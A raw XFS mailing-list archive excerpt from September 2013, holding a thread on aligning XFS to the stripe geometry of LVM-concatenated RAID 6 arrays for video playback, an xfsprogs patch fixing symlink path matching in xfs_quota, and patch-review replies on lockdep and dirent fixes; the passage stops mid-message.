a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=fPJBEkHRGBVSiQIMldYaIjcSinjyHeYXM6L9V5zu3xI=; b=J5qfZeL0hCfq9N3fsEeP98Nf9th2rVy/5UqvltXxKPP11GLI3HS3tw5CbyYrmoakrM ZYZFj4bw7e4n+Kl4oCkrjR0miUV+aELKcfXdkA2lVVWWD8LhOkix+yEApIiTHwLTiREX OvFMUnhk9JexwrwIU9FmeRaoDKU5LMEvR5mPxiSecJJL2wjNja5cxWmOY+8OgoyyuXms CN19WZiRZjT2EYVUg4r1RIOQMuurDslKGx8WZj9jZCbDurhX/iu6twVoACmclqwlGrdL CEq/7ZJYldIOzj0mXrBOkzfm2HExhGWoYpS4dtkdDGnu6XrU/dXmq7nEY/jRduH0oUv7 hvww== X-Gm-Message-State: ALoCoQluguNk/myp+L57qOmqZ84y8/9um22fiL4MvmnJvrbWHoLvqCHQ9DgGfLRose8Q3NF/Iz1w MIME-Version: 1.0 X-Received: by 10.180.89.206 with SMTP id bq14mr12810943wib.56.1380530938536; Mon, 30 Sep 2013 01:48:58 -0700 (PDT) Received: by 10.194.151.196 with HTTP; Mon, 30 Sep 2013 01:48:58 -0700 (PDT) In-Reply-To: <5246EDA4.3040300@hardwarefreak.com> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> <5244DB1B.7000908@hardwarefreak.com> <524583A4.9050207@hardwarefreak.com> <5246EDA4.3040300@hardwarefreak.com> Date: Mon, 30 Sep 2013 09:48:58 +0100 Message-ID: Subject: Re: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm To: stan@hardwarefreak.com Cc: Chris Murphy , "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=e89a8f3b9da93176a104e795e8c7 X-Barracuda-Connect: mail-we0-f174.google.com[74.125.82.174] X-Barracuda-Start-Time: 1380530939 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message --e89a8f3b9da93176a104e795e8c7 Content-Type: text/plain; charset=ISO-8859-1 Ok, Thanks Stan Much appreciated On 28 September 2013 15:54, Stan Hoeppner wrote: > On 9/27/2013 8:29 AM, Stewart Webb wrote: > > Hi Stan, > > > > Apologies for not directly answering - > > No problem, sorry for the late reply. > > > I was aiming at filling gaps in my knowledge that I could not find in the > > xfs.org wiki. > > Hopefully this is occurring. :) > > > My workload for the storage is mainly reads of single large files > (ranging > > for 20GB to 100GB each) > > These reads are mainly linear (video playback, although not always as the > > end user may be jumping to different points in the video) > > There are concurrent reads required, estimated at 2 to 8, any more would > be > > a bonus. > > This is the type of workload Dave described previously that should > exhibit an increase in read performance if the files are written with > alignment, especially with concurrent readers, which you describe as > 2-8, maybe more. The number of "maybe more" is dictated by whether > you're aligned. I.e. with alignment your odds of successfully serving > more readers is much greater. > > Thus, if you need to stitch arrays together with LVM concatenation, > you'd definitely benefit from making the geometry of all arrays > identical, and aligning the filesystem to that geometry. I.e. same > number of disks, same RAID level, same RAID stripe unit (data per non > parity disk), and stripe width (#non parity disks). > > > The challenge of this would be that the reads need to be "real-time" > > operations as they are interacted with by a person, and each > > read operation would have to consistently have a low latency and obtain > > speeds of over 50Mb/s > > > > Disk write speeds are not *as* important for me - as they these files are > > copied to location before they are required (in this case > > using rsync or scp) and these operations do not require as much > "real-time" > > interaction. > > > > > > On 27 September 2013 14:09, Stan Hoeppner > wrote: > > > >> On 9/27/2013 7:23 AM, Stewart Webb wrote: > >>>> Right, and it does so not only to improve write performance, but to > >>>> also maximise sequential read performance of the data that is > >>>> written, especially when multiple files are being read > >>>> simultaneously and IO latency is important to keep low (e.g. > >>>> realtime video ingest and playout). > >>> > >>> So does this mean that I should avoid having devices in RAID with a > >>> differing amount of spindles (or non-parity disks) > >>> If I would like to use Linear concatenation LVM? Or is there a best > >>> practice if this instance is not > >>> avoidable? > >> > >> Above, Dave was correcting my oversight, not necessarily informing you, > >> per se. It seems clear from your follow up question that you didn't > >> really grasp what he was saying. Let's back up a little bit. > >> > >> What you need to concentrate on right now is the following which we > >> stated previously in the thread, but which you did not reply to: > >> > >>>>>> What really makes a difference as to whether alignment will be of > >>>>>> benefit to you, and how often, is your workload. So at this point, > >> you > >>>>>> need to describe the primary workload(s) of your systems we're > >>>> discussing. > >>>>> > >>>>> Yup, my thoughts exactly... > >> > >> This means you need to describe in detail how you are writing your > >> files, and how you are reading them back. I.e. what application are you > >> using, what does it do, etc. You stated IIRC that your workload is 80% > >> read. What types of files is it reading? Small, large? Is it reading > >> multiple files in parallel? How are these files originally written > >> before being read? Etc, etc. > >> > >> You may not understand why this is relevant, but it is the only thing > >> that is relevant, at this point. Spindles, RAID level, alignment, no > >> alignment...none of this matters if it doesn't match up with how your > >> application(s) do their IO. > >> > >> Rule #1 of storage architecture: Always build your storage stack (i.e. > >> disks, controller, driver, filesystem, etc) to fit the workload(s), not > >> the other way around. > >> > >>> > >>> On 27 September 2013 02:10, Stan Hoeppner > >> wrote: > >>> > >>>> On 9/26/2013 4:58 PM, Dave Chinner wrote: > >>>>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: > >>>>>> On 9/26/2013 3:55 AM, Stewart Webb wrote: > >>>>>>> Thanks for all this info Stan and Dave, > >>>>>>> > >>>>>>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This > is > >>>> the > >>>>>>>> amount of data written across the full RAID stripe (excluding > >> parity). > >>>>>>> > >>>>>>> The reason I stated Stripe size is because in this instance, I have > >>>> 3ware > >>>>>>> RAID controllers, which refer to > >>>>>>> this value as "Stripe" in their tw_cli software (god bless > >>>> manufacturers > >>>>>>> renaming everything) > >>>>>>> > >>>>>>> I do, however, have a follow-on question: > >>>>>>> On other systems, I have similar hardware: > >>>>>>> 3x Raid Controllers > >>>>>>> 1 of them has 10 disks as RAID 6 that I would like to add to a > >> logical > >>>>>>> volume > >>>>>>> 2 of them have 12 disks as a RAID 6 that I would like to add to the > >>>> same > >>>>>>> logical volume > >>>>>>> > >>>>>>> All have the same "Stripe" or "Strip Size" of 512 KB > >>>>>>> > >>>>>>> So if I where going to make 3 seperate xfs volumes, I would do the > >>>>>>> following: > >>>>>>> mkfs.xfs -d su=512k sw=8 /dev/sda > >>>>>>> mkfs.xfs -d su=512k sw=10 /dev/sdb > >>>>>>> mkfs.xfs -d su=512k sw=10 /dev/sdc > >>>>>>> > >>>>>>> I assume, If I where going to bring them all into 1 logical volume, > >> it > >>>>>>> would be best placed to have the sw value set > >>>>>>> to a value that is divisible by both 8 and 10 - in this case 2? > >>>>>> > >>>>>> No. In this case you do NOT stripe align XFS to the storage, > because > >>>>>> it's impossible--the RAID stripes are dissimilar. In this case you > >> use > >>>>>> the default 4KB write out, as if this is a single disk drive. > >>>>>> > >>>>>> As Dave stated, if you format a concatenated device with XFS and you > >>>>>> desire to align XFS, then all constituent arrays must have the same > >>>>>> geometry. > >>>>>> > >>>>>> Two things to be aware of here: > >>>>>> > >>>>>> 1. With a decent hardware write caching RAID controller, having XFS > >>>>>> alined to the RAID geometry is a small optimization WRT overall > write > >>>>>> performance, because the controller is going to be doing the > >> optimizing > >>>>>> of final writeback to the drives. > >>>>>> > >>>>>> 2. Alignment does not affect read performance. > >>>>> > >>>>> Ah, but it does... > >>>>> > >>>>>> 3. XFS only performs aligned writes during allocation. > >>>>> > >>>>> Right, and it does so not only to improve write performance, but to > >>>>> also maximise sequential read performance of the data that is > >>>>> written, especially when multiple files are being read > >>>>> simultaneously and IO latency is important to keep low (e.g. > >>>>> realtime video ingest and playout). > >>>> > >>>> Absolutely correct, as Dave always is. As my workloads are mostly > >>>> random, as are those of others I consult in other fora, I sometimes > >>>> forget the [multi]streaming case. Which is not good, as many folks > >>>> choose XFS specifically for [multi]streaming workloads. My remarks to > >>>> this audience should always reflect that. Apologies for my oversight > on > >>>> this occasion. > >>>> > >>>>>> What really makes a difference as to whether alignment will be of > >>>>>> benefit to you, and how often, is your workload. So at this point, > >> you > >>>>>> need to describe the primary workload(s) of your systems we're > >>>> discussing. > >>>>> > >>>>> Yup, my thoughts exactly... > >>>>> > >>>>> Cheers, > >>>>> > >>>>> Dave. > >>>>> > >>>> > >>>> -- > >>>> Stan > > -- Stewart Webb --e89a8f3b9da93176a104e795e8c7 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Ok,

    Thanks Stan
    Much apprecia= ted


    On 28 September 2013 15:54, Stan Hoeppner <stan@hardwarefreak.com= > wrote:
    On 9/27/2013 8:29 AM, Stew= art Webb wrote:
    > Hi Stan,
    >
    > Apologies for not directly answering -

    No problem, sorry for the late reply.

    > I was aiming at filling gaps in my knowledge that I could not find in = the
    > xfs.org wiki.

    Hopefully this is occurring. :)

    > My workload for the storage is mainly reads of single large files (ran= ging
    > for 20GB to 100GB each)
    > These reads are mainly linear (video playback, although not always as = the
    > end user may be jumping to different points in the video)
    > There are concurrent reads required, estimated at 2 to 8, any more wou= ld be
    > a bonus.

    This is the type of workload Dave described previously that should exhibit an increase in read performance if the files are written with
    alignment, especially with concurrent readers, which you describe as
    2-8, maybe more. =A0The number of "maybe more" is dictated by whe= ther
    you're aligned. =A0I.e. with alignment your odds of successfully servin= g
    more readers is much greater.

    Thus, if you need to stitch arrays together with LVM concatenation,
    you'd definitely benefit from making the geometry of all arrays
    identical, and aligning the filesystem to that geometry. =A0I.e. same
    number of disks, same RAID level, same RAID stripe unit (data per non
    parity disk), and stripe width (#non parity disks).

    > The challenge of this would be that the reads need to be "real-ti= me"
    > operations as they are interacted with by a person, and each
    > read operation would have to consistently have a low latency and obtai= n
    > speeds of over 50Mb/s
    >
    > Disk write speeds are not *as* important for me - as they these = files are
    > copied to location before they= are required (in this case
    > using rsync or scp) and these operations do not require as much "= real-time"
    > interaction.
    >
    >
    > On 27 September 2013 14:09, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    >
    >> On 9/27/2013 7:23 AM, Stewart Webb wrote:
    >>>> Right, and it does so not only to improve write performanc= e, but to
    >>>> also maximise sequential read performance of the data that= is
    >>>> written, especially when multiple files are being read
    >>>> simultaneously and IO latency is important to keep low (e.= g.
    >>>> realtime video ingest and playout).
    >>>
    >>> So does this mean that I should avoid having devices in RAID w= ith a
    >>> differing amount of spindles (or non-parity disks)
    >>> If I would like to use Linear concatenation LVM? Or is there a= best
    >>> practice if this instance is not
    >>> avoidable?
    >>
    >> Above, Dave was correcting my oversight, not necessarily informing= you,
    >> per se. =A0It seems clear from your follow up question that you di= dn't
    >> really grasp what he was saying. =A0Let's back up a little bit= .
    >>
    >> What you need to concentrate on right now is the following which w= e
    >> stated previously in the thread, but which you did not reply to: >>
    >>>>>> What really makes a difference as to whether align= ment will be of
    >>>>>> benefit to you, and how often, is your workload. = =A0So at this point,
    >> you
    >>>>>> need to describe the primary workload(s) of your s= ystems we're
    >>>> discussing.
    >>>>>
    >>>>> Yup, my thoughts exactly...
    >>
    >> This means you need to describe in detail how you are writing your=
    >> files, and how you are reading them back. =A0I.e. what application= are you
    >> using, what does it do, etc. =A0You stated IIRC that your workload= is 80%
    >> read. =A0What types of files is it reading? =A0Small, large? =A0Is= it reading
    >> multiple files in parallel? =A0How are these files originally writ= ten
    >> before being read? =A0Etc, etc.
    >>
    >> You may not understand why this is relevant, but it is the only th= ing
    >> that is relevant, at this point. =A0Spindles, RAID level, alignmen= t, no
    >> alignment...none of this matters if it doesn't match up with h= ow your
    >> application(s) do their IO.
    >>
    >> Rule #1 of storage architecture: =A0Always build your storage stac= k (i.e.
    >> disks, controller, driver, filesystem, etc) to fit the workload(s)= , not
    >> the other way around.
    >>
    >>>
    >>> On 27 September 2013 02:10, Stan Hoeppner <stan@hardwarefreak.com>
    >> wrote:
    >>>
    >>>> On 9/26/2013 4:58 PM, Dave Chinner wrote:
    >>>>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppne= r wrote:
    >>>>>> On 9/26/2013 3:55 AM, Stewart Webb wrote:
    >>>>>>> Thanks for all this info Stan and Dave,
    >>>>>>>
    >>>>>>>> "Stripe size" is a synonym of XF= S sw, which is su * #disks. =A0This is
    >>>> the
    >>>>>>>> amount of data written across the full RAI= D stripe (excluding
    >> parity).
    >>>>>>>
    >>>>>>> The reason I stated Stripe size is because in = this instance, I have
    >>>> 3ware
    >>>>>>> RAID controllers, which refer to
    >>>>>>> this value as "Stripe" in their tw_c= li software (god bless
    >>>> manufacturers
    >>>>>>> renaming everything)
    >>>>>>>
    >>>>>>> I do, however, have a follow-on question:
    >>>>>>> On other systems, I have similar hardware:
    >>>>>>> 3x Raid Controllers
    >>>>>>> 1 of them has 10 disks as RAID 6 that I would = like to add to a
    >> logical
    >>>>>>> volume
    >>>>>>> 2 of them have 12 disks as a RAID 6 that I wou= ld like to add to the
    >>>> same
    >>>>>>> logical volume
    >>>>>>>
    >>>>>>> All have the same "Stripe" or "= Strip Size" of 512 KB
    >>>>>>>
    >>>>>>> So if I where going to make 3 seperate xfs vol= umes, I would do the
    >>>>>>> following:
    >>>>>>> mkfs.xfs -d su=3D512k sw=3D8 /dev/sda
    >>>>>>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdb
    >>>>>>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdc
    >>>>>>>
    >>>>>>> I assume, If I where going to bring them all i= nto 1 logical volume,
    >> it
    >>>>>>> would be best placed to have the sw value set<= br> >>>>>>> to a value that is divisible by both 8 and 10 = - in this case 2?
    >>>>>>
    >>>>>> No. =A0In this case you do NOT stripe align XFS to= the storage, because
    >>>>>> it's impossible--the RAID stripes are dissimil= ar. =A0In this case you
    >> use
    >>>>>> the default 4KB write out, as if this is a single = disk drive.
    >>>>>>
    >>>>>> As Dave stated, if you format a concatenated devic= e with XFS and you
    >>>>>> desire to align XFS, then all constituent arrays m= ust have the same
    >>>>>> geometry.
    >>>>>>
    >>>>>> Two things to be aware of here:
    >>>>>>
    >>>>>> 1. =A0With a decent hardware write caching RAID co= ntroller, having XFS
    >>>>>> alined to the RAID geometry is a small optimizatio= n WRT overall write
    >>>>>> performance, because the controller is going to be= doing the
    >> optimizing
    >>>>>> of final writeback to the drives.
    >>>>>>
    >>>>>> 2. Alignment does not affect read performance.
    >>>>>
    >>>>> Ah, but it does...
    >>>>>
    >>>>>> 3. =A0XFS only performs aligned writes during allo= cation.
    >>>>>
    >>>>> Right, and it does so not only to improve write perfor= mance, but to
    >>>>> also maximise sequential read performance of the data = that is
    >>>>> written, especially when multiple files are being read=
    >>>>> simultaneously and IO latency is important to keep low= (e.g.
    >>>>> realtime video ingest and playout).
    >>>>
    >>>> Absolutely correct, as Dave always is. =A0As my workloads = are mostly
    >>>> random, as are those of others I consult in other fora, I = sometimes
    >>>> forget the [multi]streaming case. =A0Which is not good, as= many folks
    >>>> choose XFS specifically for [multi]streaming workloads. = =A0My remarks to
    >>>> this audience should always reflect that. =A0Apologies for= my oversight on
    >>>> this occasion.
    >>>>
    >>>>>> What really makes a difference as to whether align= ment will be of
    >>>>>> benefit to you, and how often, is your workload. = =A0So at this point,
    >> you
    >>>>>> need to describe the primary workload(s) of your s= ystems we're
    >>>> discussing.
    >>>>>
    >>>>> Yup, my thoughts exactly...
    >>>>>
    >>>>> Cheers,
    >>>>>
    >>>>> Dave.
    >>>>>
    >>>>
    >>>> --
    >>>> Stan




    --
    =
    Stewart Webb
    --e89a8f3b9da93176a104e795e8c7-- From sandeen@redhat.com Mon Sep 30 12:01:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0B9C97F50 for ; Mon, 30 Sep 2013 12:01:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EBC4A304053 for ; Mon, 30 Sep 2013 10:01:23 -0700 (PDT) X-ASG-Debug-ID: 1380560482-04cb6c153d15d1c80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id McEET6CFwlbPe2cr for ; Mon, 30 Sep 2013 10:01:23 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8UH1K6Z013532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 30 Sep 2013 13:01:20 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8UH1JBC004304 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 30 Sep 2013 13:01:20 -0400 Message-ID: <5249AE5F.30305@redhat.com> Date: Mon, 30 Sep 2013 12:01:19 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss CC: Satoru Takeuchi Subject: [PATCH] xfsprogs: handle symlinks etc in fs_table_initialise_mounts() X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: handle symlinks etc in fs_table_initialise_mounts() Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380560482 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Commit: 6a23747d xfs_quota: support relative path as `path' arguments used realpath() on the supplied pathname to handle things like relative pathnames and pathnames ending in "/" which otherwise caused the getmntent scanning to fail. However, this regressed cases where a path in mtab was a symlink; realpath() resolves this to the target, and so no match is found. This causes i.e.: # xfs_quota -x -c report /dev/mapper/testvg-testlv to fail with: xfs_quota: cannot setup path for mount /dev/mapper/testvg-testlv: No such device or address because the scanning looks for /dev/dm-3, but the long symlink name is what exists in mtab, and no match is found. Fix this, but keep the intended enhancements, by testing *both* the user-specified path (which might be relative, or contain a trailing slash on a mountpoint) and the realpath-resolved path (which turns a relative mountpoint into a full path, and removes trailing slashes), to determine whether the user-specified path is an xfs mountpoint or device. While we're at it, add a few comments, and go back to the testing of "path" not "rpath"; whether or not path is passed to the function is what determines control flow. If path is specified, and realpath succeeds, we're guaranteed to have rpath as well, so there is no need to retest that. rpath is initialized to NULL, so an unconditional free(rpath) is safe as well. Signed-off-by: Eric Sandeen --- diff --git a/libxcmd/paths.c b/libxcmd/paths.c index bd84cde..7b0e434 100644 --- a/libxcmd/paths.c +++ b/libxcmd/paths.c @@ -266,6 +266,10 @@ out_nomem: return ENOMEM; } +/* + * If *path is NULL, initialize the fs table with all xfs mount points in mtab + * If *path is specified, search for that path in mtab + */ static int fs_table_initialise_mounts( char *path) @@ -288,6 +292,7 @@ fs_table_initialise_mounts( if ((mtp = setmntent(mtab_file, "r")) == NULL) return ENOENT; + /* Use realpath to resolve symlinks, relative paths, etc */ if (path) if ((rpath = realpath(path, NULL)) == NULL) return ENOENT; @@ -295,31 +300,37 @@ fs_table_initialise_mounts( while ((mnt = getmntent(mtp)) != NULL) { if (strcmp(mnt->mnt_type, "xfs") != 0) continue; - if (rpath && - ((strcmp(rpath, mnt->mnt_dir) != 0) && + if (path && + ((strcmp(path, mnt->mnt_dir) != 0) && + (strcmp(path, mnt->mnt_fsname) != 0) && + (strcmp(rpath, mnt->mnt_dir) != 0) && (strcmp(rpath, mnt->mnt_fsname) != 0))) continue; if (fs_extract_mount_options(mnt, &fslog, &fsrt)) continue; (void) fs_table_insert(mnt->mnt_dir, 0, FS_MOUNT_POINT, mnt->mnt_fsname, fslog, fsrt); - if (rpath) { + if (path) { found = 1; break; } } endmntent(mtp); - if (rpath) { - free(rpath); - if (!found) - error = ENXIO; - } + free(rpath); + + if (path && !found) + error = ENXIO; + return error; } #elif defined(HAVE_GETMNTINFO) #include +/* + * If *path is NULL, initialize the fs table with all xfs mount points in mtab + * If *path is specified, search for that path in mtab + */ static int fs_table_initialise_mounts( char *path) @@ -335,6 +346,7 @@ fs_table_initialise_mounts( return 0; } + /* Use realpath to resolve symlinks, relative paths, etc */ if (path) if ((rpath = realpath(path, NULL)) == NULL) return ENOENT; @@ -342,24 +354,24 @@ fs_table_initialise_mounts( for (i = 0; i < count; i++) { if (strcmp(stats[i].f_fstypename, "xfs") != 0) continue; - if (rpath && - ((strcmp(rpath, stats[i].f_mntonname) != 0) && + if (path && + ((strcmp(path, stats[i].f_mntonname) != 0) && + (strcmp(path, stats[i].f_mntfromname) != 0) && + (strcmp(rpath, stats[i].f_mntonname) != 0) && (strcmp(rpath, stats[i].f_mntfromname) != 0))) continue; /* TODO: external log and realtime device? */ (void) fs_table_insert(stats[i].f_mntonname, 0, FS_MOUNT_POINT, stats[i].f_mntfromname, NULL, NULL); - if (rpath) { + if (path) { found = 1; break; } } - if (rpath) { - free(rpath); - if (!found) - error = ENXIO; - } + free(rpath); + if (path && !found) + error = ENXIO; return error; } From bpm@sgi.com Mon Sep 30 16:19:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF8AB7F50 for ; Mon, 30 Sep 2013 16:19:18 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 603F2AC00A; Mon, 30 Sep 2013 14:19:18 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 03DF64266DC; Mon, 30 Sep 2013 16:19:17 -0500 (CDT) Date: Mon, 30 Sep 2013 16:19:17 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/4] xfs: lockdep needs to know about 3 dquot-deep nesting Message-ID: <20130930211917.GN1935@sgi.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> <1380497826-13474-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380497826-13474-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 30, 2013 at 09:37:03AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Michael Semon reported that xfs/299 generated this lockdep warning: > > ============================================= > [ INFO: possible recursive locking detected ] > 3.12.0-rc2+ #2 Not tainted > --------------------------------------------- > touch/21072 is trying to acquire lock: > (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 > > but task is already holding lock: > (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 > > other info that might help us debug this: > Possible unsafe locking scenario: > > CPU0 > ---- > lock(&xfs_dquot_other_class); > lock(&xfs_dquot_other_class); > > *** DEADLOCK *** > > May be due to missing lock nesting notation > > 7 locks held by touch/21072: > #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e > #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 > #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 > #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 > #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f > #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 > #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 > > The lockdep annotation for dquot lock nesting only understands > locking for user and "other" dquots, not user, group and quota > dquots. Fix the annotations to match the locking heirarchy we now > have. > > Reported-by: Michael L. Semon > Signed-off-by: Dave Chinner Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Mon Sep 30 17:02:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 48BB57F52 for ; Mon, 30 Sep 2013 17:02:40 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 302A38F8035; Mon, 30 Sep 2013 15:02:36 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D0BD54266DC; Mon, 30 Sep 2013 17:02:36 -0500 (CDT) Date: Mon, 30 Sep 2013 17:02:36 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs: dirent dtype presence is dependent on directory magic numbers Message-ID: <20130930220236.GO1935@sgi.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> <1380497826-13474-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380497826-13474-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 30, 2013 at 09:37:04AM +1000, Dave Chinner wrote: > From: Dave Chinner > > The determination of whether a directory entry contains a dtype > field originally was dependent on the filesystem having CRCs > enabled. This meant that the format for dtype beign enabled could be > determined by checking the directory block magic number rather than > doing a feature bit check. This was useful in that it meant that we > didn't need to pass a struct xfs_mount around to functions that > were already supplied with a directory block header. > > Unfortunately, the introduction of dtype fields into the v4 > structure via a feature bit meant this "use the directory block > magic number" method of discriminating the dirent entry sizes is > broken. Hence we need to convert the places that use magic number > checks to use feature bit checks so that they work correctly and not > by chance. > > The current code works on v4 filesystems only because the dirent > size roundup covers the extra byte needed by the dtype field in the > places where this problem occurs. > > Signed-off-by: Dave Chinner Looks fine to me. Reviewed-by: Ben Myers From bpm@sgi.com Mon Sep 30 17:14:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 053B87F56 for ; Mon, 30 Sep 2013 17:14:53 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7ADB0AC00D; Mon, 30 Sep 2013 15:14:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3F4ED4266DC; Mon, 30 Sep 2013 17:14:49 -0500 (CDT) Date: Mon, 30 Sep 2013 17:14:49 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/4] xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering Message-ID: <20130930221449.GP1935@sgi.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> <1380497826-13474-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380497826-13474-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Mon, Sep 30, 2013 at 09:37:05AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Removing an inode from the namespace involves removing the directory > entry and dropping the link count on the inode. Removing the > directory entry can result in locking an AGF (directory blocks were > freed) and removing a link count can result in placing the inode on > an unlinked list which results in locking an AGI. > > The big problem here is that we have an ordering constraint on 